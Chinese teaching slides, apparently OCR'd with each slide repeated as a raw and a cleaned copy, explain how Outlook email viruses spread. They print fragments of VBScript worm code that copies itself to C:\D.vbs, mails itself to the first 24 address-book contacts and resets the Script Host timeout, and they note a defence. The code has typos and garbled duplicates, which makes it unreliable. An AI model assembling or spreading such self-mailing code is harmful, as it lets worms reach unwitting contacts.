4电子邮件病毒 在1998年正式发现某些计算机病毒可在用 户运行 Outlook98测试版的ema时进行 传播,之后,有关电子邮件病毒不断见之 报道,成为计算机病毒的又一生力军。 这类病毒主要是利用 Outlook的人性化, 与脚本的高度集成。 利用 Outlook传播的病毒基本上都是用 VBScript编写的,其自身复制的原理是利 用程序将本身的脚本内容复制到临时文件, 将其作为附件发送出去
4.电子邮件病毒 在1998年正式发现某些计算机病毒可在用 户运行Outlook 98测试版的email时进行 传播，之后，有关电子邮件病毒不断见之 报道，成为计算机病毒的又一生力军。 这类病毒主要是利用Outlook的人性化， 与脚本的高度集成。 利用Outlook传播的病毒基本上都是用 VBScript编写的，其自身复制的原理是利 用程序将本身的脚本内容复制到临时文件， 将其作为附件发送出去
创建文件系统对象 Set so=CreateObject("Scripting. File Systemobject") 打开脚本文件 Wscript. ScripFullName:用 GetF函数获得该文件,用copy函数将 此文件复制到c盘根目录下,取名Dvbs so. GerFile(Wscript. ScripFullName), Copy ("C: ID vbs) 禁止 File Systemobjec这个对象即可有效 阻止这类病毒的传播。 禁止 File Systemobjec对象的命令 regsvr 32 scrrun. dl/u
创建文件系统对象 Set so=CreateObject("Scripting.FileSystemObject") 打开脚本文件Wscript.ScripFullName:用 GetFile函数获得该文件，用Copy函数将 此文件复制到C盘根目录下，取名D.vbs so.GerFile(Wscript.ScripFullName),Copy("C:\D.vbs) 禁止FileSystemObject这个对象即可有效 阻止这类病毒的传播。 禁止FileSystemObject对象的命令： regsvr 32 scrrun.dll/u
利用 Outlook传播的电子邮件病毒都会向 地址簿中存储的电子邮件地址发送内容 相同的脚本附件 利用了 Outlook地址簿的功能 从地址簿中选择前24个用户发送电子邮 件,并将脚本作为附件。 利用循环不断发送相同内容的邮件
利用Outlook传播的电子邮件病毒都会向 地址簿中存储的电子邮件地址发送内容 相同的脚本附件。 利用了Outlook地址簿的功能 从地址簿中选择前24个用户发送电子邮 件，并将脚本作为附件。 利用循环不断发送相同内容的邮件
创建 Outlook的应用对象 Set virus=CreteObject( Outlook Application") On Error Resume Next 循环24次,从地址簿中取出24条邮件地址,发送带附件的邮件: For y=1 To 24 Set mailvirus. Createltem(o) (取邮件地址: Mail to=virus. Create Space( MAPl").AddressLists(1)Address Entries(y) (邮件主题:) Mail Subject= (邮件内容 Mail, body= (邮件附件:) Mail Attachments. Add(c: D. vbs") (发送邮件:) Mail send Next Virus. Quit
创建Outlook的应用对象: Set virus=CreteObject("Outlook.Application") On Error Resume Next 循环24次，从地址簿中取出24条邮件地址，发送带附件的邮件： For y=1 To 24 Set mail=virus.CreateItem(0) (取邮件地址:) Mail.to=virus.CreateSpace("MAPI").AddressLists(1).Address Entries(y) (邮件主题：) Mail.Subject=" " (邮件内容：) Mail.body=" " (邮件附件：) Mail.Attachments.Add("C:\D.vbs") (发送邮件：) Mail.Send Next Virus.Quit
调整脚本语言的超时设置 n Error resume next Dim wsc.rr (创建She对象:) set wscr=CreateObject( Wscript. Shell (读注册表信息:) rr=wscr. RegRead("HKEY CURRENT_ USERISoftwarelMicr osoftlWindows Scripting HostISettingslTimeout") (如果键值≥1,则修改键值为0:) if(rr>=1)then wscr. Reg Read HKEY CURRENT USERISoftwarelMicros oftwindows Scripting Host SettingslTimeout 0,REG DWORD) endif
调整脚本语言的超时设置 n Error Resume Next Dim wsc,rr (创建Shell对象：) set wscr=CreateObject("Wscript.Shell") ( 读注册表信息：) rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micr osoft\Windows Scripting Host\Settings\Timeout") (如果键值1,则修改键值为0：) if(rr>=1)then wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting Host\ Settings\Timeout", 0,"REG_DWORD") endif